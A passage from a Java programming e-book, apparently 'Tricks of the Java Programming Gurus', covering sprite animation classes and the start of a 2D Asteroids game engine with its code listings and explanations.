Image getBackground() { return background; } void setBackground(Image back) { background = back; } void update() { Sprite s, hit; Rectangle old; int size = size(); // Iterate through sprites, updating each for (int i = 0; i < size; i++) { s = (Sprite)elementAt(i); old = s.getPositionRect(); s.update(); hit = testCollision(s); if (hit != null) { s.setPosition(old); collision(s, hit); } } } void draw(Graphics g) { if (background != null) // Draw background image g.drawImage(background, 0, 0, component); else { // Erase background Dimension dim = component.size(); g.setColor(component.getBackground()); g.fillRect(0, 0, dim.width, dim.height); g.setColor(Color.black); } // Iterate through sprites, drawing each int size = size(); for (int i = 0; i < size; i++) ((Sprite)elementAt(i)).draw(g); }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (22 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

int add(Sprite s) { // Use a binary search to find the right location to insert the // new sprite (based on z-order) int l = 0, r = size(), x = 0; int z = s.getZOrder(), zTest = z + 1; while (r > l) { x = (l + r) / 2; zTest = ((Sprite)elementAt(x)).getZOrder(); if (z < zTest) r = x; else l = x + 1; if (z == zTest) break; } if (z >= zTest) x++; insertElementAt(s, x); return x; } Sprite testCollision(Sprite test) { // Check for collision with other sprites int size = size(); Sprite s; for (int i = 0; i < size; i++) { s = (Sprite)elementAt(i); if (s == test) // don't check itself continue; if (test.testCollision(s)) return s; } return null; } protected void collision(Sprite s, Sprite hit) { // Swap velocities (bounce) Point swap = s.getVelocity(); s.setVelocity(hit.getVelocity());
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (23 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

hit.setVelocity(swap); } }

SpriteVector has only two member variables, which consist of a background Image object and a Component object for working with the image. There are two constructors for SpriteVector: one with no background and one that supports a background image. The background image serves as a backdrop behind the sprites and can be used to jazz up the animation with little effort. The SpriteVector class is derived from Vector, which is a container class (similar to an array) that can grow. You may have noticed that both constructors call the Vector superclass constructor and set the default storage capacity and amount to increment the storage capacity should the Vector need to grow. As in Sprite, update is the key method in SpriteVector because it handles updating all the sprites. This update method iterates through the sprites, calling update on each one. It then calls testCollision to see whether a collision has occurred between sprites. If a collision has occurred, the old position of the collided sprite is restored and the collision method called. The draw method handles drawing all the sprites, as well as drawing the background if one exists. The background member variable is first checked to see whether the background image should be drawn. If not, the background color of the applet window is used to erase the graphics context. The sprites are then drawn by iterating through the list and calling the draw method for each. The add method is probably the trickiest method in the SpriteVector class. The add method handles adding new sprites to the sprite list. The catch is that the sprite list must always be sorted according to Z-order. Why? Remember that Z-order is the depth at which sprites appear on the screen. The illusion of depth is established by the order in which the sprites are drawn. This works because sprites drawn later are drawn on top of other sprites, and therefore they appear to be at a higher depth. Sorting the sprite list by Z-order and then drawing them in that order is an effective way to provide the illusion of depth. The add method uses a binary search to find the right spot to add new sprites so that the sprite list remains sorted by Z-order. The testCollision method is used to test for collisions between a sprite and the rest of the sprites in the sprite list. The sprite to be tested is passed in the test parameter. The sprites are then iterated through and the testCollision method called for each. If a collision is detected, the Sprite object that has been hit is returned from testCollision. Finally, the collision method is used to handle collisions between two sprites. The action here is to simply swap the velocities of the collided Sprite objects, which results in a bouncing effect. This
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (24 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

method is where you could provide specific collision actions. For example, in a game you might want some sprites to explode upon collision. That wraps up the SpriteVector class. You now not only have a powerful Sprite class, but also a SpriteVector class for managing and providing interactivity between sprites. All that's left is putting these classes to work in a real applet.

Testing the Sprite Classes


You didn't come this far with the sprite stuff not to see some action. Figure 13.9 shows a screen shot of the SpriteTest applet, which shows off the sprite classes you've toiled so hard over. Figure 13.9 : The SpriteTest sample applet. The SpriteTest applet uses a SpriteVector object to manage five Sprite objects, two of which use frame animation. Listing 13.7 contains the source code for the SpriteTest applet.

Listing 13.7. The SpriteTest sample applet. // SpriteTest Class // SpriteTest.java // Imports import java.applet.*; import java.awt.*; public class SpriteTest extends Applet implements Runnable { Image offImage, back, ball; Image[] numbers = new Image[10]; Graphics offGrfx; Thread animate; MediaTracker tracker; SpriteVector sv; int delay = 83; // 12 fps public void init() { // Load and track the images tracker = new MediaTracker(this); back = getImage(getDocumentBase(), "Res/Back.gif"); tracker.addImage(back, 0);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (25 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

ball = getImage(getDocumentBase(), "Res/Ball.gif"); tracker.addImage(ball, 0); for (int i = 0; i < 10; i++) { numbers[i] = getImage(getDocumentBase(), "Res/" + i + ".gif"); tracker.addImage(numbers[i], 0); } } public void start() { if (animate == null) { animate = new Thread(this); animate.start(); } } public void stop() { if (animate != null) { animate.stop(); animate = null; } } public void run() { try { tracker.waitForID(0); } catch (InterruptedException e) { return; } // Create and add the sprites sv = new SpriteVector(this, back); sv.add(new Sprite(this, numbers, 0, 1, 5, new Point(0, 0), new Point(1, 3), 1)); sv.add(new Sprite(this, numbers, 0, 1, 20, new Point(0, 100), new Point(-1, 5), 2)); sv.add(new Sprite(this, ball, new Point(100, 100), new Point(-3, 2), 3)); sv.add(new Sprite(this, ball, new Point(50, 50), new Point(1, -2), 4)); sv.add(new Sprite(this, ball, new Point(100, 0),
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (26 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

new Point(4, -3), 5)); // Update everything long t = System.currentTimeMillis(); while (Thread.currentThread() == animate) { sv.update(); repaint(); try { t += delay; Thread.sleep(Math.max(0, t System.currentTimeMillis())); } catch (InterruptedException e) { break; } } } public void update(Graphics g) { // Create the offscreen graphics context Dimension dim = size(); if (offGrfx == null) { offImage = createImage(dim.width, dim.height); offGrfx = offImage.getGraphics(); } // Draw the sprites sv.draw(offGrfx); // Draw the image onto the screen g.drawImage(offImage, 0, 0, null); } public void paint(Graphics g) { if ((tracker.statusID(0, true) & MediaTracker.ERRORED) != 0) { // Draw the error rectangle g.setColor(Color.red); g.fillRect(0, 0, size().width, size().height); return; } if ((tracker.statusID(0, true) & MediaTracker.COMPLETE) != 0) { // Draw the offscreen image
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (27 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

g.drawImage(offImage, 0, 0, null); } else { // Draw the loading message Font font = new Font("Helvetica", Font.PLAIN, 18); FontMetrics fm = g.getFontMetrics(font); String str = new String("Loading images..."); g.setFont(font); g.drawString(str, (size().width - fm.stringWidth(str)) / 2, ((size().height - fm.getHeight()) / 2) + fm.getAscent()); } } }

You may notice a lot of similarities between SpriteTest and the Counter5 sample applet developed earlier in this chapter. SpriteTest is very similar to Counter5 because a lot of the same animation support code is required by the sprite classes. Let's look at the aspects of SpriteTest that facilitate the usage of the Sprite and SpriteVector classes; you've already covered the rest. The first thing to notice is the SpriteVector member variable sv. There are also some extra member variables for a background image and a ball sprite image. The only other change with member variables is the value of the delay member variable. It is set to 83, which results in a frame rate of 12 fps. This faster frame rate is required for more fluid animation, such as sprite animation. The SpriteVector is created in the run method using the constructor that supports a background image. Five different Sprite objects are then created and added to the sprite vector. The first two sprites use the number images as their animation frames. Notice that these two sprites are created with different frame delay values. You can see the difference when you run the applet because one of the sprites "counts" faster than the other. The run method also updates the sprite vector by calling the update method. The update method for SpriteTest looks almost like the one in Counter5. The only difference is the call to the SpriteVector's draw method, which draws the background and all the sprites. Using the sprite classes is as easy as that! You've now seen for yourself how the sprite classes encapsulate all the functionality required to manage both cast- and frame-based animation, as well as providing support for interactivity among sprites via collision detection.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (28 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

Summary
Although it covered a lot of material, this chapter added a significant array of tools and techniques to your bag of Java tricks. You learned all about animation, including the two major types of animation: frame-based and cast-based. Following up this theory, you saw a frame-based animation applet evolve from a simple example to a powerful and reusable animation template. Although the frame-based animation example applets are interesting and useful, you learned that sprite animation is where the fun really begins. You saw firsthand how to develop a powerful duo of sprite classes for implementing sprite animation. You then put them to work in a sample applet that involved very little additional overhead. More than anything, you learned in this chapter that Java animation is both powerful and easy to implement. Using what you learned here, you should be able to add many cool animations to your own Web creations.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (29 of 29) [8/16/02 8:36:59 AM]

Chapter 14 -- Writing 2D Games

Chapter 14
Writing 2D Games

CONTENTS
G G G G G G G G G G G G G

2D Game Basics Scaling an Object Translating an Object Rotating an Object 2D Game Engine The Missile Class Asteroids The Asteroids Applet Class The Asteroids The Ship The Photons Final Details Summary

Expanding on your knowledge of sprites, this chapter focuses on developing a Java two-dimensional game engine. Animating game objects is not all that different from animating sprite characters. A few advanced motion tricks are needed, but the transition is not too difficult. The game engine will be used as the basis for the arcade standard, Asteroids. In practice, any 2D action game could be written using the techniques you'll learn in this chapter.

2D Game Basics
Two-dimensional games require a technique embodied in early Atari personal computers, namely, playermissile graphics. Essentially, all screen objects need to know their position and if they are colliding with another entity. Beyond this, objects need to be able to move around and to rotate. For simplicity, this chapter exploits a class in the AWT for representing objects on the screen. The
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (1 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

Polygon class is a wonderful class for manipulating a variety of two-dimensional shapes. Polygon objects can have virtually an unlimited number of vertices and so can represent everything from simple squares to a complex space station. Unfortunately, the Polygon class does not contain such 2D basics as rotation, scaling, and translation. The Polygon class is used only for displaying an object; a separate class is used to represent and track objects around the screen. In order to write this class, some two-dimensional basics must first be covered.

Scaling an Object
Given an ordered set of two-dimensional points, how can it be grown or shrunk? To start with, define how your points are stored. Because the Polygon class is used for display, it makes sense to store two separate arrays of points, one for the x coordinate and one for the y coordinate. To scale such a set, simply multiply the scaling factor by each vertex. The following code snippet makes a given polygon twice as large: for ( int v = 0; v < numVertices; v++ ) { xpoints[v] *= 2; ypoints[v] *= 2; } This code works to both expand (scale > 1) and contract (scale < 1) any polygon. To scale in only the x or y direction, multiply only one of the coordinate arrays.

Translating an Object
Object translation has nothing to do with foreign languages. Translation refers to moving an object without changing its orientation or size. The operation is identical to scaling, except instead of multiplication, addition (or subtraction) is used. The following code snippet translates an object in x-y space: for ( int v = 0; v < numVertices; v++ ) { xpoints[v] += 2; ypoints[v] += 2; } Nothing precludes you from using different additives for the x and y coordinates. In fact, this is very common. Usually, the previous code is actually written as follows:

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (2 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

for ( int v = 0; v < numVertices; v++ ) { xpoints[v] += xamount; ypoints[v] += yamount; }

Rotating an Object
Object rotation is considerably more complex than scaling or translation. Each point is rotated by some angle around the z-axis by using the following formula: new_x = old_x * cos(angle) + old_y * sin(angle) new_y = old_y * cos(angle) - old_x * sin(angle) Positive angles rotate counter clockwise, while negative angles cause clockwise rotation. After the rotation, the object needs to be moved back to the original coordinate space. Figure 14.1 provides a graphical view of the process. Figure 14.1 : Rotation and translation of a polygon. To accomplish the move, a bounding box must be computed before and after the rotation. The upper-left vertex of the bounding boxes can be subtracted to yield the x and y translation values. The following code rotates a polygon in place. For efficiency, the cosine and sine values for the rotation angle are precomputed and stored in variables cos and sin: for ( int v = 0; v < numVertices; v++ ) { int old_x = xpoints[v]; int old_y = ypoints[v]; xpoints[v] = old_x * cos + old_y * sin; ypoints[v] = old_y * cos - old_x * sin; low_x = Math.min(low_x, xpoints[v]); low_y = Math.min(low_y, ypoints[v]); } int xlate_x = min_x - low_x; int xlate_y = min_y - low_y; translateObject(xlate_x, xlate_y);

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (3 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

2D Game Engine
The requirements for the player-missile system are as follows:
G G G G G G G G

Maintain a polygon array of vertices in x-y space Be able to translate, scale, and rotate Contain a velocity and rotation orientation Maintain a bounding box and provide collision detection Contain rendering capabilities (draw itself) Provide movement based on velocity Detect and bounce off a confining rectangle (the screen) Implement all functionality within the concepts of life and death (that is, won't draw if object is dead)

Each object must implement these requirements. Because Java is object-oriented, it's easy to capture all this functionality within a base class. The Missile class contains the basis for the 2D game system.

The Missile Class


The Missile class has two constructors. Both specify the confining rectangle for the object, but one provides a color parameter to control what color the polygon is painted in when it draws itself to the screen:
G G

public Missile(int display_w, int display_h); public Missile(int display_w, int display_h, Color colr);

Public Functions
In addition to the public constructors, the Missile class contains the following public functions:
G G G G G G

public public public public public public

void draw(Graphics g); void animate(); boolean collide(Missile mx); void die(); boolean isDead(); Rectangle getBoundingBox();

All the public and protected functions in the Missile class can be overridden in a descendant class. This is expected to happen, because descendant classes use Missile only for default behavior. Any special circumstances are handled by overriding the underlying function.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (4 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

draw()
The draw() function simply paints the object onto the passed Graphics context. Painting is performed by creating an AWT Polygon and filling it with the object's color. Notice how the function simply returns if the object is dead: public void draw(Graphics g) { if ( dead ) return; int x[] = new int[dx.length]; int y[] = new int[dy.length]; for ( int v = 0; v < dx.length; v++ ) { x[v] = (int)Math.round(dx[v]); y[v] = (int)Math.round(dy[v]); } g.setColor(color); g.fillPolygon(x, y, x.length); } The vertices for Missile's polygon are stored in the class as arrays of float. This is done to enable accurate shape maintenance during rotations. Rotations are performed ideally on polar coordinates. Most graphic systems, including Java, use Cartesian coordinates. The granularity of the rectangular coordinate system causes the rotated object to become distorted quickly if integers are used to store the points. Any rotations other than 90-degree increments cause the shape to become unrecognizable. floats enable the points to be manipulated so that their original shape is maintained. Before displaying the object, the points are mapped into the rectangular x-y integer space. This yields an approximation of the actual object for display.

animate()
The animate() function performs all the default movement for the object. First, a rotation is performed, provided there was a nonzero rotation angle set. Second, the object is moved according to the two velocity components, x_vel and y_vel: public void animate() { if ( dead ) return; rotateMissile(); moveMissile(); }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (5 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

collide()
Collisions are easy to detect by using the AWT's Rectangle class. All the point manipulation routines within the Missile class update the bounding box for the polygon. The AWT provides a routine to check whether two Rectangles have intersected: public boolean collide(Missile mx) { if ( !dead && !mx.isDead() ) return boundingBox.intersects(mx.getBoundingBox()); return false; } If the object is already dead, by definition it cannot collide with anything else.

die()
The die() function is called to obliterate an object. The dead flag is set to true, and the bounding box is forced completely off the screen: public void die() { dead = true; min_x = display_w + 1; min_y = display_h + 1; max_x = min_x + 1; max_y = min_y + 1; doneMinMax(); } The size of the bounding box is also changed to one-by-one.

Protected Functions
The remaining methods are protected to enable only descendant classes to access them:
G G G G

protected protected protected protected

void void void void

setShape(float ix[], float iy[]); setRotationAngle(double angle); scaleMissile(double scaleFactor); translateMissile(float nx, float ny);

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (6 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games


G G G G

protected protected protected protected

void void void void

rotateMissile(); moveMissile(); checkBounce(); calculateBoundingBox();

setShape()
The setShape() function is used to set the points of the polygon: protected void setShape(float ix[], float iy[]) { dx = new float[ix.length]; dy = new float[iy.length]; System.arraycopy(ix, 0, dx, 0, ix.length); System.arraycopy(iy, 0, dy, 0, iy.length); dead = false; } Note The object is dead by default until it has a shape to render. A descendant class must call setShape() to set the points. It must not set the points directly into dx and dy or the object will remain dormant.

setRotationAngle()
The initial rotation angle is zero. The setRotationAngle() routine is used to set a new angle. In addition to calculating the sine and cosine of the angle, the direction_inc variable is set to the new angle. If the sine and cosine are set directly by a descendant class, the direction pointer is not properly oriented: protected void setRotationAngle(double angle) { angle = angle * Math.PI / 180; cos = Math.cos(angle); sin = Math.sin(angle); direction_inc = angle; }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (7 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

The passed angle is in degrees.

rotateMissile()
The rotateMissile() function performs a standard rotation based on the preset angle. At the end of the rotation, the direction pointer is updated to reflect the new orientation of the object: protected void rotateMissile() { if ( dead ) return; float low_x = Float.MAX_VALUE; float low_y = Float.MAX_VALUE; for ( int v = 0; v < dx.length; v++ ) { double t1 = dx[v] * cos + dy[v] * sin; double t2 = dy[v] * cos - dx[v] * sin; dx[v] = (float)t1; dy[v] = (float)t2; low_x = Math.min(low_x, dx[v]); low_y = Math.min(low_y, dy[v]); } float off_x = (min_x - low_x); float off_y = (min_y - low_y); translateMissile(off_x, off_y); direction += direction_inc; }

The Bounding Box


Functions scaleMissile(), translateMissile(), and rotateMissile() all adhere to the principles laid out in the beginning of this chapter. As has been mentioned previously, all these routines update the bounding box. Three functions are used to perform the update: clearMinMax(), updateMinMax(), and doneMinMax(). clear simply sets the minimum and maximum class variables to their logical extremes: private void clearMinMax() { min_x = Float.MAX_VALUE; min_y = Float.MAX_VALUE; max_x = Float.MIN_VALUE; max_y = Float.MIN_VALUE; }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (8 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

As each new point is generated, it is passed into updateMinMax() to see whether it contains a minimum or maximum point: private void updateMinMax(float nx, float ny) { max_x = Math.max(nx, max_x); max_y = Math.max(ny, max_y); min_x = Math.min(nx, min_x); min_y = Math.min(ny, min_y); } When all points have been generated, it can be assumed that the extremes have been located and stored. These are turned into the vertices of the bounding box: private void doneMinMax() { int x = (int)Math.round(min_x); int y = (int)Math.round(min_y); int h = (int)Math.round(max_y) - y; int w = (int)Math.round(max_x) - x; boundingBox = new Rectangle(x, y, w, h); } The box vertices are stored as integers because the bounding box is only an approximation of the object's position. In addition, class Rectangle handles only integer inputs. All these functions are private because, technically, a descendant class should never have to update the bounding box. There is, however, a function to enable it. Routine calculateBoundingBox() performs all three functions over the points in the polygon. It should be called if the points are ever directly manipulated in a descendant class: protected void calculateBoundingBox() { clearMinMax(); for ( int v = 0; v < dx.length; v++ ) updateMinMax(dx[v], dy[v]); doneMinMax(); }

moveMissile()

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (9 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

Function moveMissile() performs movements using the object's velocity. Each point is translated by its velocity component: protected void moveMissile() { bounce_x = false; bounce_y = false; clearMinMax(); for ( int v = 0; v < dx.length; v++ ) { dx[v] += x_vel; dy[v] += y_vel; if ( dx[v] < 0 || dx[v] >= display_w ) bounce_x = true; if ( dy[v] < 0 || dy[v] >= display_h ) bounce_y = true; updateMinMax(dx[v], dy[v]); } checkBounce(); doneMinMax(); } During the move, each point is bounds-checked to see whether it has passed the confining rectangle. If any point lies outside the confining space, a bounce flag is set. When the movement completes, a checkBounce() function is invoked. The moveMissile() function only detects a bounce possibility. It does not directly cause an object to bounce. That job is left up to the checkBounce() routine.

Bouncing
How is a bouncing object handled? The bounce code assumes that the collision is purely elastic. The velocity component is inverted with no loss in absolute speed. Only the direction traveled is reversed. In addition, the object is assumed to travel the full distance that its velocity would take it. This means that the object would bounce away from the wall by the same distance that it traveled past the wall. Here is the default bounce routine: protected void checkBounce() { float off_x = 0; float off_y = 0; if ( bounce_x )

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (10 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

{ x_vel *= -1; if ( min_x < 0 ) off_x = min_x; else off_x = max_x - display_w; off_x *= -2; } if ( bounce_y ) { y_vel *= -1; if ( min_y < 0 ) off_y = min_y; else off_y = max_y - display_h; off_y *= -2; } translateMissile(off_x, off_y); } The distance back to the wall is computed and then doubled to yield the full distance to translate the object. Notice that the offsets are floats. All the coordinate components are floats until the moment just before they are displayed. Note If you do not want your objects to bounce, you should override checkBounce(). The default behavior of checkBounce() is to enable the object to bounce off the wall.

The entire source for class Missile is on the CD-ROM; you should now be comfortable enough with it to begin using the class for a game.

Asteroids
This game has been around for a long time, but it's fun. It also presents a good opportunity to apply the Missile class in a real-world example. There is a tiny spaceship floating in an asteroid field. The asteroids are moving around and the ship's job is to avoid being hit and simultaneously to use its weapons to destroy the asteroids. The ship can fire its engines to propel itself, and it can rotate a full 360 degrees. Each implementation is slightly different, but
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (11 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

this is essentially the game. The biggest variations occur when an asteroid or the ship hits the edge of the screen. Some implementations allow the rocks to bounce, but also allow the ship to pass through to the other side of the screen. Some allow both to bounce, and some don't allow either to bounce. This implementation allows both asteroids and the ship to bounce off the screen edges.

The Asteroids Applet Class


The Asteroids applet class is the focal point for the game. It implements the Runnable interface to enable the game objects to move in a consistent, timed manner. The applet itself is responsible for painting and handling user input, and the applet's thread is responsible for moving the game objects, detecting collisions, and keeping score. The layout of the applet is actually a good template for other games such as Pong, Break-Out, and Space Invaders. All these early arcade games lend themselves to a Java implementation. At one time, these games were state of the art, but now they're being transmitted across the Web and run on home computers! Java is not limited to these primitive games. This game engine can be used for 2D pinball, interactive mazes, and 2-player Internet games. The possibilities are endless. Tip Sometimes it's tempting to decompose a game further into multiple threads, but then the load time is increased to retrieve the separate class files. The Runnable interface enables one applet class file to function as two threads of execution.

Listing 14.1 shows the full Asteroids applet class.

Listing 14.1. Asteroids applet class. import import import import import java.applet.*; java.awt.*; java.awt.image.*; java.io.*; Missile;

public class Asteroids extends Applet implements Runnable { private boolean init = false;

// true after init

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (12 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

is called private Image offScreenImage = null; buffer private Graphics offScreen = null; for float buffer private Thread animation = null; private int numRocks; private Rock asteroids[]; private Ship ship; private int sleepAmt; private boolean Started = false; private int score; private int remainingRocks; private boolean gameOver;

// the float // The graphics

/** * Standard initialization method for an applet */ public void init() { if ( init == false ) { init = true; String strSleep = getParameter("SLEEP"); if ( strSleep == null ) { System.out.println("ERROR: SLEEP parameter is missing"); strSleep = "200"; } sleepAmt = Integer.valueOf(strSleep).intValue(); String strNum = getParameter("ASTEROIDS"); if ( strNum == null ) { System.out.println("ERROR: ASTEROIDS parameter is missing"); strNum = "10"; } numRocks = Integer.valueOf(strNum).intValue(); asteroids = new Rock[numRocks]; initialize(); setBackground(Color.black);

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (13 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

offScreenImage = createImage(this.size().width, this.size().height); offScreen = offScreenImage.getGraphics(); } } /** * Initialize or reinitialize a game. * Create asteroids and ship. */ public void initialize() { for ( int a = 0; a < numRocks; a++ ) { asteroids[a] = new Rock(this.size().width, this.size().height); } ship = new Ship(this.size().width, this.size().height); score = 100; gameOver = false; remainingRocks = numRocks; Started = false; } /** * Standard paint routine for an applet. * @param g contains the Graphics class to use for painting */ public void paint(Graphics g) { offScreen.setColor(getBackground()); offScreen.fillRect(0, 0, this.size().width, this.size().height); offScreen.setColor(Color.green); for ( int a = 0; a < numRocks; a++ ) asteroids[a].draw(offScreen); ship.draw(offScreen); if ( gameOver ) { String result = getGameOverComment(); offScreen.drawString(result, (this.size().width / 2) - 40,
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (14 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

(this.size().height / 2) - 10); offScreen.drawString("Score " + score, 0, 20); } g.drawImage(offScreenImage, 0, 0, this); } /** * Formulate an end of game ranking based on the score */ public String getGameOverComment() { int grades[] = new int[6]; int perfect = 100 + (numRocks * 10); int amt = perfect / 5; for ( int x = 0; x < 5; x++ ) grades[x] = (x + 1) * amt); if ( score <= 0 ) { score = 0; return "Game Over - Your rank: DEAD"; } else if ( score < grades[0] ) return "Game Over - Your rank: Ensign"; else if ( score < grades[1] ) return "Game Over - Your rank: Lieutenant"; else if ( score < grades[2] ) return "Game Over - Your rank: Commander"; else if ( score < grades[3] ) return "Game Over - Your rank: Captain"; else if ( score < grades[4] ) return "Game Over - Your rank: Admiral"; else return "PERFECT SCORE! - Your rank: Admiral"; } /** * Override component's version to keep from clearing * the screen. */ public void update(Graphics g) { paint(g);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (15 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

} /** * Standard start method for an applet. * Spawn the animation thread. */ public void start() { if ( animation == null ) { animation = new Thread(this); animation.start(); } } /** * Standard stop method for an applet. * Stop the animation thread. */ public void stop() { if ( animation != null ) { animation.stop(); animation = null; } } /** * This applet's run method. Loop forever rolling the image * back and forth across the screen. */ public void run() { while (true) { while ( !Started || gameOver ) sleep(500); playGame(); } } public void playGame() {
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (16 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

while (!gameOver) { animate(); repaint(); sleep(sleepAmt); } } public void animate() { ship.animate(); for ( int a = 0; a < numRocks; a++ ) { asteroids[a].animate(); if ( ship.collide(asteroids[a]) ) { score -= 10; if ( score == 0 ) gameOver = true; } if ( ship.photonsCollide(asteroids[a]) ) { score += 10; asteroids[a].die(); remainingRocks--; if ( remainingRocks == 0 ) gameOver = true; } } } /** * Handle mouse clicks */ public boolean mouseDown(Event evt, int x, int y) { if ( Started ) initialize(); Started = true; return true; } /** * Handle keyboard input */ public boolean keyDown(Event evt, int key) {
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (17 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

switch (key) { case Event.LEFT: case Event.RIGHT: case Event.DOWN: case 0x20: default: } return true; }

ship.leftRotation(); ship.rightRotation(); ship.fireEngines(); ship.firePhotons();

break; break; break; break; break;

/** * A simple sleep routine * @param a the number of milliseconds to sleep */ private void sleep(int a) { try { Thread.currentThread().sleep(a); } catch (InterruptedException e) { } } }

The class has an array of asteroids and a ship variable. These descendants of Missile are discussed later in this chapter.

init()
The init() method creates the double buffer that is used to eliminate flicker. It also calls the initialize() routine to allocate the initial screen objects. That way, when paint() is called, the applet has something to draw. Two applet parameters are used to tune performance. Parameter SLEEP specifies how long (in milliseconds) the applet thread will sleep between updates. If this value is too short, the objects are moved without a paint. Java and Netscape "batch up" repaint requests if they come in too fast to handle. This causes objects to appear very jerky, because they are moving much further with each paint. The

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (18 of 28) [8/16/02 8:37:06 AM]

Chapter 14 -- Writing 2D Games

same effect would happen if this parameter were too long. Remember, animation is based on fooling the eyes into believing discrete movements are really smooth transitions. Two hundred seems to be an acceptable value. The second parameter, ASTEROIDS, has dual uses. First, it enables the game to be made more difficult as the system operator sees fit. Secondly, it enables the Missile class to be tested with only one object. It is much easier to debug when the screen is not filled with distracting objects. If you change the Missile class, you may want to initially test with only one asteroid.

initialize()
Why not just allocate all the objects in the init() method? Well, for one thing, you may want to allow the user to restart or, better yet, replay your game. The initialize() method provides a cleanly packaged way to set up a new game. All the screen objects are created and the game is reset. The score is also preset to 100.

Scoring
A player begins the game with 100 points. Whenever an asteroid collides with the ship, the score is reduced by 10 points. Each destroyed asteroid earns 10 points. Ten hits without killing an asteroid results in game over. You allow a reasonable number of hits because the asteroids are randomly distributed around the screen. Some initial hits will happen that are beyond the control of the player. A perfect score is 100 plus 10 times the number of asteroids configured. For 20 asteroids, a perfect score is 300. The end-of-game comment takes the score into account. The total possible range of scores is broken into seven categories. Zero and perfect are the extremes, and there are five middle ranges. Each category is assigned a different phrase.

paint()
The paint() method clears the offscreen image to black, then draws each asteroid and the ship. Actually, it asks the objects to draw themselves. Individual objects are in charge of rendering themselves (or not) in the correct location and in the proper orientation. No collision detection or scoring takes place during the paint loop. At game-end, the score and an end-of-game string is displayed. The paint() method terminates by drawing the offscreen image to the actual screen.

User Input
Mouse and keyboard handlers are installed in the applet. Mouse clicks are trapped only to start and reset the game. Four keyboard keys are trapped: Left, Right, Down, and Space. For each key, a separate ship control function is activated. Keys not of the four types are ignored.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (19 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

Game Thread
The applet run() thread performs all the action. Because the user must click on the applet to enable it to receive the keyboard, the run() thread waits until this has happened before starting a game. In the meantime, the paint() method displays the game objects in their initial frozen state. The applet almost begs to be played. Once the user has clicked on the applet, the run() thread passes control to playGame(). Here, the thread loops until the game is over. Each iteration through the loop animates all the objects, checks for collisions, updates the score, and then issues a repaint request. At this point, a sleep is entered for the configured number of milliseconds. To animate the objects, simply call each Missile object's animate() function. Collisions are detected for each asteroid after it has been moved. When either the score or remainingRocks goes to zero, the game is over and the function returns to the run() method.

The Asteroids
The asteroids are the most complicated object to set up, but the simplest to manage. Listing 14.2 shows the Rock class.

